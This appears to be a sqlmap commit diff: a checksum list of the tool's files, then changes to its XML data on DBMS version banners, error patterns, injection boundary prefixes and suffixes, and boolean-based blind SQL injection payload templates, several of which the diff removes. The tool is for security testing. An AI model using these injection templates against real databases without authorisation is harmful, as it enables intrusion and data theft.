-b801f9ed84dd26532a4719d1bf033dfde38ecaccbdea9e6f5fd6b3395b67430d plugins/dbms/sybase/connector.py -8173165097ac6720258cf8a5ccf97600d5aa94378182ad0e1ccaa4cfcfa0c038 plugins/dbms/sybase/enumeration.py -73b41e33381cd8b13c21959006ef1c6006540d00d53b3ccb1a7915578b860f23 plugins/dbms/sybase/filesystem.py -49ec03fe92dab994ee7f75713144b71df48469dca9eb8f9654d54cdcb227ea2c plugins/dbms/sybase/fingerprint.py -0d234ddd3f66b5153feb422fc1d75937b432d96b5e5f8df2301ddcadf6c722b2 plugins/dbms/sybase/__init__.py -233543378fb82d77192dca709e4fdc9ccf42815e2c5728818e2070af22208404 plugins/dbms/sybase/syntax.py -b10e4cdde151a46c1debba90f483764dc54f9ca2f86a693b9441a47f9ebe416f plugins/dbms/sybase/takeover.py -b76fb28d47bf16200d69a63d2db1de305ab7e6cb537346bb4b3d9e6dba651f45 plugins/dbms/vertica/connector.py -654f37677bb71400662143dc3c181acd73608b79069cdec4ec1600160094c3b4 plugins/dbms/vertica/enumeration.py -672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409 plugins/dbms/vertica/filesystem.py -342fd363640ae6b4d27b7075409ddd0ee39118dc8f78005f05d94134690eda88 plugins/dbms/vertica/fingerprint.py -21e1bfdbb4853c92d21305d4508eba7f64e8f50483cb02c44ecb9bb8593a7574 plugins/dbms/vertica/__init__.py -5192982f6ccf2e04c5fa9d524353655d957ef4b39495c7e22df0028094857930 plugins/dbms/vertica/syntax.py -e7e6bc4867a1d663a0f595542cc8a1fc69049cb8653cbe0f61f025ed6aec912c plugins/dbms/vertica/takeover.py -d9a8498fd225824053c82d2950b834ca97d52edcc0009904d53170fffb42adf0 plugins/dbms/virtuoso/connector.py -4404a3b1af5f0f709f561a308a1770c9e20ca0f5d2c01b8d39ccbc2daccfcdc7 plugins/dbms/virtuoso/enumeration.py -54212546fef4ac669fa9799350a94df36b54c4057429c0f46d854377682d7b74 plugins/dbms/virtuoso/filesystem.py -5f39d91dce66af09d4361e8af43a0ad0e26c1a807a24f4abed1a85cae339e48d plugins/dbms/virtuoso/fingerprint.py -e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/virtuoso/__init__.py -859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/virtuoso/syntax.py -2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e plugins/dbms/virtuoso/takeover.py -51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py -a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py -c091caecc93c01e17fa5432101555cae824492c060b9b7ee35cb49a211365076 plugins/generic/databases.py -4050f9dfa8a2f8dbe6ae75f91d71b3d1fa3a4b1bd28404c4a346d5a83ad512df plugins/generic/entries.py -d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py -a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df plugins/generic/filesystem.py -efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db plugins/generic/fingerprint.py -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/generic/__init__.py -ba07e54265cf461aed678df49fe3550aec90cb6d8aa9387458bd4b7064670d00 plugins/generic/misc.py -7c1b1f91925d00706529e88a763bc3dabafaf82d6dbc01b1f74aeef0533537a1 plugins/generic/search.py -da8cc80a09683c89e8168a27427efecda9f35abc4a23d4facd6ffa7a837015c4 plugins/generic/syntax.py -eb45fd711efa71ab9d91d815cc8abebc9abc4770311fbb827159008b000f4fc2 plugins/generic/takeover.py -45bfd00f09557e20115e6ce7fb52ff507930d705db215e535f991e5fbf7464de plugins/generic/users.py -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/__init__.py -423d9bfaddb3cf527d02ddda97e53c4853d664c51ef7be519e4f45b9e399bc30 README.md -c6ad39bfd1810413402dedfc275fc805fa13f85fc490e236c1e725bde4e5100b sqlmapapi.py -4e993cfe2889bf0f86ad0abafd9a6a25849580284ea279b2115e99707e14bb97 sqlmapapi.yaml -627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf -4cec2aae8d65d67cd6db60f00217aa05ab449345ed3a38e04697b85b53d755f1 sqlmap.py -eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py -a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py -cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py -0b9ed12565bf000c9daa2317e915f2325ccabee1fa5ed5552c0787733fbccffe tamper/appendnullbyte.py -11ad15d66c43f32f5d0a39052e5f623a4752ad4fb275d642f2e4cd841ff82b41 tamper/base64encode.py -cb833979eccf26a5e176f7c8ca40a24bf9904cb2902a1b9df436aefb6a24447e tamper/between.py -6e72b92662185a56847cca235106bc354bd6a10e3e89a135b9ea8fa09cd8eb34 tamper/binary.py -9e1852d61d439181c42cb6d28656e9464a1dd5991269f000fb47e107f2f6f4f1 tamper/bluecoat.py -578e36fcf7d596574119ef75cbf1a83040913587a02855f0b6a7e684f9f9c8a5 tamper/chardoubleencode.py -c7892bff56b2b85dfdf9f24c783c569edac57a3fd5a254cf4554987a374206c9 tamper/charencode.py -72c163ff0b4f79bdec07fbea3e75a2eaa8304881d35287eab8f03c25d06e99e0 tamper/charunicodeencode.py -50107854594fb13b4b95eed2ab8e66d2dd5470dd7d6b59c124ca766b1ec4b6ed tamper/charunicodeescape.py -d0d8f2df2c29d81315a867ecb6baa9ca430e8f98d04f4df3879f2bcd697fac16 tamper/commalesslimit.py -1aee4e920b8ffa4a79b2ac9a42e2d7de13434970b3d1e0c6911c26bdd0c7b4e7 tamper/commalessmid.py -ff8d05da2c5a123a231671c97ee80bb77b6631d7e5356d836cfe15ef212b73e5 tamper/commentbeforeparentheses.py -66cad47087c78a5658445f8a00f2e1cd533a6d7c57aec2d1eb1fe486956aa3ea tamper/concat2concatws.py -b5a5ba94a78cf83b35cdb0b08d9d69dbf1f33c07cc5152c560ae5aee54a4c066 tamper/decentities.py -1d6bcc5ffe235840370cd9738b5e8067f8b24e8c0e2bb629d330a7e5c379328a tamper/dunion.py -99c59e6fd7cafc9238c53e037eff457823854eef7cb0c5ea05941e0223229209 tamper/equaltolike.py -b3940e8d029150a81f17a2da1141928c31b6abb9ade3672d093051e310439995 tamper/equaltorlike.py -d528e74ae7c9fc0cd45369046d835a8f1e6f9252eeef6d84d9978d7e329ab35f tamper/escapequotes.py -0694f202a4f57e0a5c4d5aa72eee121b6f344d4e03692d9e267e2212abed719c tamper/greatest.py -26e57bc7c118168f20a5fc80d2d2fdbef05c027328c5c55cbbe92047ee8123da tamper/halfversionedmorekeywords.py -f0a7b635061385a3bf399cc51faf4d5e10694266aaa21fba557ca655c00a09bc tamper/hex2char.py -9096cbf2283137d592408325347f46866fd139966c946f8ba1ea61826472d0bb tamper/hexentities.py -3e518ace6940d54e8844c83781756e85d5670c53dfac0a092c4ee36cd5111885 tamper/htmlencode.py -04028ea55034ef5c82167db35cb1276d3d5c717f6b22507b791342ccf82722ad tamper/if2case.py -365085e79d296791464ec3f041a26554b19ba4865c4a727e258e9586b0bcfbe7 tamper/ifnull2casewhenisnull.py -e73e3723d4b61515d7ad2c0fe6e9a9dcaeeac6a93ed6149f44d59e4e41543226 tamper/ifnull2ifisnull.py -94fe273bee7df27c9b4f1ee043779d06e4553169d9aec30c301d469275883dd1 tamper/informationschemacomment.py -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 tamper/__init__.py -017c91ba64c669382aa88ce627f925b00101a81c1a37a23dba09bfa2bfaf42ae tamper/least.py -d762543ef6d90fd6ce8b897fdfb864e0461d2941922d331d97a334aefdbbe291 tamper/lowercase.py -a890b9da3e103f70137811c73eeddfffa0dcd9fa95d1ff02c40fdc450f1d9beb tamper/luanginxmore.py -93d749469882d9a540397483ad394af161ced3d43b7cefd1fad282a961222d69 tamper/luanginx.py -d68eb164a7154d288ffea398e72229cfc3fc906d0337ca9322e28c243fbd5397 tamper/misunion.py -eafd7ad140281773f92c24dbc299bec318e1c0cced4409e044e94294e40ad030 tamper/modsecurityversioned.py -b533f576b260f485ebb70566c520979608d9f1790aa2811ce8194970b63e0d96 tamper/modsecurityzeroversioned.py -6a6b69def1a9143748fc03aa951486621944e9ee732287e1a39ce713b2b04436 tamper/multiplespaces.py -687f531696809452a37f631cdb201267b04cb83b34a847aec507aca04e2ec305 tamper/ord2ascii.py -07cca753862dc9a2379aea23823d71ad6f4f6716a220e01792467549f8bde95a tamper/overlongutf8more.py -b17748d63b763a7bfd2188f44145345507ce71e1b46f29d747132da5c56d7ed0 tamper/overlongutf8.py -dea9ab017cc4bde6f61f95a4f400ecba441525ff2d2dba886a2bf3ecdc1af605 tamper/percentage.py -5437bc272398173c997d7b156dac1606dcde30421923bfc8f744d3668441d79e tamper/plus2concat.py -3cec7391b8b586474455ef4b089a27c67406ba02f91698647bb113c291f38692 tamper/plus2fnconcat.py -007a21d189bfedd48d4ca2704fb7ea709ea72f4b206e38a7fe40446a12b0a6e3 tamper/randomcase.py -27dfb51abe8f97a833309c2a42c31a63c0eda4711d122639c5ea31e5b5a9021a tamper/randomcomments.py -e11f10ab09c2a7f44ca2a42b35f9db30d1d3715981bd830ea4e00968be51931b tamper/schemasplit.py -21fae428f0393ab287503cc99997fba33c9a001a19f6dd203bbcc420a62a4b90 tamper/scientific.py -7a71736657ca2b27a01f5f988a5c938d67a0f7e9558caba9041bd17b2cef9813 tamper/sleep2getlock.py -856de1573ba9b08f6f33e28ca5a96341697762afa163835dcd4772ba6e1dadc6 tamper/space2comment.py -715b56e60e8f7bf0a1198b356a32374797a8c2e1ba1f888794626205d63c63d5 tamper/space2dash.py -21c43aafe994e798335e6756fbed15f430629beb49042b56d47f232022044a65 tamper/space2hash.py -329fa6e9bb27e1770ccc1c42c3b3ddc8e57a970959d8482ff102d7bfee546a49 tamper/space2morecomment.py -c088e7061a1a4676bc7714f64005ac275fae349f3dc665f2d565f56ecae7619f tamper/space2morehash.py -f823e5afbd5ab8e3fb478d984528c7f675561cf2b4eb6634a5bc11756097a01f tamper/space2mssqlblank.py -0d3b1336a5ca15de0ce5617c153f91ff8715c34cf886a71cb8df5ae887df301d tamper/space2mssqlhash.py -528723c9cea1d91dac22cb44cab6f8f0174f98c3c547b42017589d9a19a314e1 tamper/space2mysqlblank.py -466bb10955155a042fe4ec3b3df6b98193fba1187a376179e0d4dbc068215d91 tamper/space2mysqldash.py -4ea418f8b226b0ab369f3a8e726b7df0bc4701a2d93585de70e13febe5f438b7 tamper/space2plus.py -b3b79bbcf48ba943af57978e32b928d567f28ed4e45651f15f9fe898e00c0331 tamper/space2randomblank.py -6769cbe7b42265ff257a49e17e894bc19ff805802e19f27d57c07a212de70a11 tamper/sp_password.py -8e52309b893770bce57215fd3bf42d53d7f0d164690b4121b598126cbaaf6bc3 tamper/substring2leftright.py -d4b29c9a47961430dd0a24c22f8fe2968374ca5b0611e8b2837481c8d77672bf tamper/symboliclogical.py -c442ec7bb6676bdc58447fa54c719a9322b1728ba96c2358081a73fa8a4612ff tamper/unionalltounion.py -9ebf67b9ce10b338edc3e804111abe56158fa0a69e53aacdd0ffa0e0b6af1f70 tamper/unmagicquotes.py -67a83f8b6e99e9bb3344ad6f403e1d784cf9d3f3b7e8e40053cf3181fabe47fa tamper/uppercase.py -3e54d7f98ca75181e6b16aa306d5a5f5f0dce857d5b3e6ce5a07d501f5d915aa tamper/varnish.py -7d469ee594390cbc10378f83af403bba249240eab00f0ad5a5fe0e3fa1fcbf0d tamper/versionedkeywords.py -dcb7a5584390f1604adff075c94139dd23711f2f516b68683ec4208dd0a00fda tamper/versionedmorekeywords.py -ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py -55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py -f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py -7d62c59f787f987cbce0de5375f604da8de0ba01742842fb2b3d12fcb92fcb63 thirdparty/beautifulsoup/__init__.py -f862301288d2ba2f913860bb901cd5197e72c0461e3330164f90375f713b8199 thirdparty/bottle/bottle.py -9f56e761d79bfdb34304a012586cb04d16b435ef6130091a97702e559260a2f2 thirdparty/bottle/__init__.py -0ffccae46cb3a15b117acd0790b2738a5b45417d1b2822ceac57bdff10ef3bff thirdparty/chardet/big5freq.py -901c476dd7ad0693deef1ae56fe7bdf748a8b7ae20fde1922dddf6941eff8773 thirdparty/chardet/big5prober.py -df0a164bad8aac6a282b2ab3e334129e315b2696ba57b834d9d68089b4f0725f thirdparty/chardet/chardistribution.py -e9b0eef1822246e49c5f871af4881bd14ebd4c0d8f1975c37a3e82738ffd90ee thirdparty/chardet/charsetgroupprober.py -2929b0244ae3ca9ca3d1b459982e45e5e33b73c61080b6088d95e29ed64db2d8 thirdparty/chardet/charsetprober.py -558a7fe9ccb2922e6c1e05c34999d75b8ab5a1e94773772ef40c904d7eeeba0f thirdparty/chardet/codingstatemachine.py -3ca4f31e449bb5b1c3a92f4fcae8cc6d7ef8ab56bc98ca5e4130d5b10859311c thirdparty/chardet/compat.py -4d9e37e105fccf306c9d4bcbffcc26e004154d9d9992a10440bfe5370f5ff68c thirdparty/chardet/cp949prober.py -0229b075bf5ab357492996853541f63a158854155de9990927f58ae6c358f1c5 thirdparty/chardet/enums.py -924caa560d58c370c8380309d9b765c9081415086e1c05bc7541ac913a0d5927 thirdparty/chardet/escprober.py -46e5e580dbd32036ab9ddbe594d0a4e56641229742c50d2471df4402ec5487ce thirdparty/chardet/escsm.py -883f09769d084918e08e254dedfd1ef3119e409e46336a1e675740f276d2794c thirdparty/chardet/eucjpprober.py -fbb19d9af8167b3e3e78ee12b97a5aeed0620e2e6f45743c5af74503355a49fa thirdparty/chardet/euckrfreq.py -32a14c4d05f15b81dbcc8a59f652831c1dc637c48fe328877a74e67fc83f3f16 thirdparty/chardet/euckrprober.py -368d56c9db853a00795484d403b3cbc82e6825137347231b07168a235975e8c0 thirdparty/chardet/euctwfreq.py -d77a7a10fe3245ac6a9cfe221edc47389e91db3c47ab5fe6f214d18f3559f797 thirdparty/chardet/euctwprober.py -257f25b3078a2e69c2c2693c507110b0b824affacffe411bbe2bc2e2a3ceae57 thirdparty/chardet/gb2312freq.py -806bc85a2f568438c4fb14171ef348cab9cbbc46cc01883251267ae4751fca5c thirdparty/chardet/gb2312prober.py -737499f8aee1bf2cc663a251019c4983027fb144bd93459892f318d34601605a thirdparty/chardet/hebrewprober.py -62c3f9c1096c1c9d9ab85d516497f2a624ab080eff6d08919b7112fcd23bebe6 thirdparty/chardet/__init__.py -be9989bf606ed09f209cc5513c730579f4d1be8fe16b59abc8b8a0f0207080e8 thirdparty/chardet/jisfreq.py -3d894da915104fc2ccddc4f91661c63f48a2b1c1654d6103f763002ef06e9e0a thirdparty/chardet/jpcntx.py -d47a904bd3dbb678f5c508318ad24cbf0f17ea42abe4ea1c90d09959f110acf1 thirdparty/chardet/langbulgarianmodel.py -2ce0da8efb1eb47f3bc980c340a0360942d7507f3bb48db6ddd85f8e1f59c7d7 thirdparty/chardet/langcyrillicmodel.py -f18016edb53c6304896a9d2420949b3ccc35044ab31a35b3a9ca9fd168142800 thirdparty/chardet/langgreekmodel.py -2529ea984e44eb6b432d33d3bcba50b20e6038c3b83db75646f57b02f91cd070 thirdparty/chardet/langhebrewmodel.py -4616a96121b997465a3be555e056a7e6c5b4591190aa1c0133ad72c77cb1c8e0 thirdparty/chardet/langhungarianmodel.py -f25d35ef71aefd6e86f26c6640e4c417896cd98744ec5c567f74244b11065c94 thirdparty/chardet/langthaimodel.py -5b6d9e44d26ca88eae5807f05d22955969c27ab62aac8f1d6504e6fccd254459 thirdparty/chardet/langturkishmodel.py -4b6228391845937f451053a54855ad815c9b4623fa87b0652e574755c94d914f thirdparty/chardet/latin1prober.py -011f797851fdbeea927ef2d064df8be628de6b6e4d3810a85eac3cb393bdc4b4 thirdparty/chardet/mbcharsetprober.py -87a4d19e762ad8ec46d56743e493b2c5c755a67edd1b4abebc1f275abe666e1e thirdparty/chardet/mbcsgroupprober.py -498df6c15205dc7cdc8d8dc1684b29cbd99eb5b3522b120807444a3e7eed8e92 thirdparty/chardet/mbcssm.py -2c34a90a5743085958c149069300f6a05c4b94f5885974f4f5a907ff63e263be thirdparty/chardet/sbcharsetprober.py -d48a6b70207f935a9f9a7c460ba3016f110b94aa83dec716e92f1823075ec970 thirdparty/chardet/sbcsgroupprober.py -208b7e9598f4589a8ae2b9946732993f8189944f0a504b45615b98f7a7a4e4c4 thirdparty/chardet/sjisprober.py -a8bd35ef8952644e38d9e076d679e4b53f7f55c0327b4ee5685594794ae3b6d6 thirdparty/chardet/universaldetector.py -21d0fcbf7cd63ac07c38b8b23e2fb2fdfab08a9445c55f4d73578a04b4ae204c thirdparty/chardet/utf8prober.py -b29dc1d3c9ab0d707ea5fdcaf5fa89ff37831ce08b0bc46b9e04320c56a9ffb8 thirdparty/chardet/version.py -1c1ee8a91eb20f8038ace6611610673243d0f71e2b7566111698462182c7efdd thirdparty/clientform/clientform.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/clientform/__init__.py -162d2e9fe40ba919bebfba3f9ca88eab20bc3daa4124aec32d5feaf4b2ad4ced thirdparty/colorama/ansi.py -a7070aa13221d97e6d2df0f522b41f1876cd46cb1ddb16d44c1f304f7bab03a3 thirdparty/colorama/ansitowin32.py -d7b5750fa3a21295c761a00716543234aefd2aa8250966a6c06de38c50634659 thirdparty/colorama/initialise.py -f71072ad3be4f6ea642f934657922dd848dee3e93334bc1aff59463d6a57a0d5 thirdparty/colorama/__init__.py -fd2084a132bf180dad5359e16dac8a29a73ebfd267f7c9423c814e7853060874 thirdparty/colorama/win32.py -179e47739cdcb6d8f97713b4ecf2c84502ed9894d20cf941af5010a91b5275ea thirdparty/colorama/winterm.py -4f4b2df6de9c0a8582150c59de2eb665b75548e5a57843fb6d504671ee6e4df3 thirdparty/fcrypt/fcrypt.py -6a70ddcae455a3876a0f43b0850a19e2d9586d43f7b913dc1ffdf87e87d4bd3f thirdparty/fcrypt/__init__.py -dbd1639f97279c76b07c03950e7eb61ed531af542a1bdbe23e83cb2181584fd9 thirdparty/identywaf/data.json -e5c0b59577c30bb44c781d2f129580eaa003e46dcc4f307f08bc7f15e1555a2e thirdparty/identywaf/identYwaf.py -edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa thirdparty/identywaf/__init__.py -d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347 thirdparty/identywaf/LICENSE -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/__init__.py -879d96f2460bc6c79c0db46b5813080841c7403399292ce76fe1dc0a6ed353d8 thirdparty/keepalive/__init__.py -ae394bfae5204dfeffeccc15c356d9bf21708f9e48016681cfb8040ff8857998 thirdparty/keepalive/keepalive.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py -4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py -2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py -ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py -9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py -3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py -4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py -c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py -7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE -56ae8fb03a5cf34cc5babb59f8c2c3bb20388a04f94491f6847989428ce49b82 thirdparty/socks/socks.py -e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/termcolor/__init__.py -b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py -4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py -7d7ec81c788600d02d557c13f9781bb33f8a699c5a44c4df0a065348ad2ee502 thirdparty/wininetpton/win_inet_pton.py diff --git a/data/xml/banner/generic.xml b/data/xml/banner/generic.xml index 6bd38d6b4c7..723d31bd527 100644 --- a/data/xml/banner/generic.xml +++ b/data/xml/banner/generic.xml @@ -34,7 +34,7 @@ - + @@ -179,6 +179,10 @@ + + + + diff --git a/data/xml/banner/mssql.xml b/data/xml/banner/mssql.xml index f3d5eceba51..9a0115003a2 100644 --- a/data/xml/banner/mssql.xml +++ b/data/xml/banner/mssql.xml @@ -1,5 +1,195 @@ + + + + + 16.0 + + + + + + + 16.0.1000.6 + + + 0 + + + + + + + 15.0 + + + + + + + 15.0.2000.5 + + + 0 + + + + + + + 14.0 + + + + + + + 14.0.1000.169 + + + 0 + + + + + + + 13.0 + + + + + + + 13.0.1601.5 + + + 0 + + + + + 13.0.4001.0 + + + 1 + + + + + 13.0.5026.0 + + + 2 + + + + + 13.0.6300.2 + + + 3 + + + + + + + 12.0 + + + + + + + 12.0.2000.8 + + + 0 + + + + + 12.0.4100.1 + + + 1 + + + + + 12.0.5000.0 + + + 2 + + + + + 12.0.6024.0 + + + 3 + + + + + + + 11.0 + + + + + + + 11.0.2100.60 + + + 0 + + + + + 11.0.3000.0 + + + 1 + + + + + 11.0.5058.0 + + + 2 + + + + + 11.0.6020.0 + + + 3 + + + + + 11.0.7001.0 + + + 4 + + + diff --git a/data/xml/banner/mysql.xml b/data/xml/banner/mysql.xml index 456c9510b82..1af92764548 100644 --- a/data/xml/banner/mysql.xml +++ b/data/xml/banner/mysql.xml @@ -3,6 +3,7 @@ @@ -76,4 +77,30 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/xml/boundaries.xml b/data/xml/boundaries.xml index ccf93177a58..e184ff21c7a 100644 --- a/data/xml/boundaries.xml +++ b/data/xml/boundaries.xml @@ -55,6 +55,8 @@ Tag: 4: Double quoted string 5: LIKE double quoted string 6: Identifier (e.g. column name) + 7: Block comment + 8: Alternative quoted string (e.g. PostgreSQL $$...$$, Oracle q'[...]') Sub-tag: A string to prepend to the payload. @@ -342,14 +344,6 @@ Formats: [GENERIC_SQL_COMMENT] - - 5 - 9 - 1,2 - 2 - ") WHERE [RANDNUM]=[RANDNUM] - [GENERIC_SQL_COMMENT] - 4 @@ -414,41 +408,6 @@ Formats: )+' - - 5 - 9 - 1 - 2 - ||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM] - )|| - - - - 5 - 9 - 1 - 2 - ||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] - )|| - - - - 5 - 9 - 1 - 1 - +(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] - )+ - - - - 5 - 9 - 1 - 2 - '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] - )+' - @@ -461,14 +420,6 @@ Formats: [GENERIC_SQL_COMMENT] - - 5 - 1 - 1,2 - 2 - ")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] - [GENERIC_SQL_COMMENT] - 5 @@ -510,20 +461,24 @@ Formats: 4 1 1 - 1 + 6 ` WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] + + + - 5 - 1 - 1 - 1 - `) WHERE [RANDNUM]=[RANDNUM] - [GENERIC_SQL_COMMENT] + 4 + 1,2,3 + 1,2 + 7 + */ + /* - @@ -558,7 +513,7 @@ Formats: 5 7 1 - 3 + 6 [RANDSTR1], [RANDSTR2] @@ -573,4 +528,48 @@ Formats: # + + + + 5 + 1 + 1,2 + 8 + $$ + [GENERIC_SQL_COMMENT] + + + 5 + 1 + 1,2 + 8 + ]' + [GENERIC_SQL_COMMENT] + + + 5 + 1 + 1,2 + 8 + }' + [GENERIC_SQL_COMMENT] + + + 5 + 1 + 1,2 + 8 + )' + [GENERIC_SQL_COMMENT] + + + 5 + 1 + 1,2 + 8 + >' + [GENERIC_SQL_COMMENT] + + diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 605ffacd9a9..9bfb5a95df4 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -2,6 +2,9 @@ + + + @@ -16,12 +19,23 @@ + + + + + + + + + + + @@ -34,6 +48,8 @@ + + @@ -78,6 +94,8 @@ + + @@ -127,7 +145,7 @@ - + @@ -173,6 +191,7 @@ + @@ -196,6 +215,7 @@ + @@ -218,10 +238,15 @@ - + - + + + + + + @@ -245,4 +270,15 @@ + + + + + + + + + + + diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml index 0cf17140456..1e5d378004a 100644 --- a/data/xml/payloads/boolean_blind.xml +++ b/data/xml/payloads/boolean_blind.xml @@ -598,7 +598,7 @@ Tag: - SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON) + SQLite AND boolean-based blind - WHERE or HAVING clause (JSON) 1 2 1 @@ -617,7 +617,7 @@ Tag: - SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON) + SQLite OR boolean-based blind - WHERE or HAVING clause (JSON) 1 3 3 @@ -1109,46 +1109,6 @@ Tag: - - MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause - 1 - 3 - 1 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - -
- MySQL - < 5.0 -
-
- - - MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value) - 1 - 4 - 1 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - -
- MySQL - < 5.0 -
-
- PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause 1 @@ -1445,27 +1405,6 @@ Tag: - - MySQL < 5.0 boolean-based blind - Stacked queries - 1 - 5 - 1 - 1-8 - 1 - ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) - - ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) - # - - - ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) - -
- MySQL - < 5.0 -
-
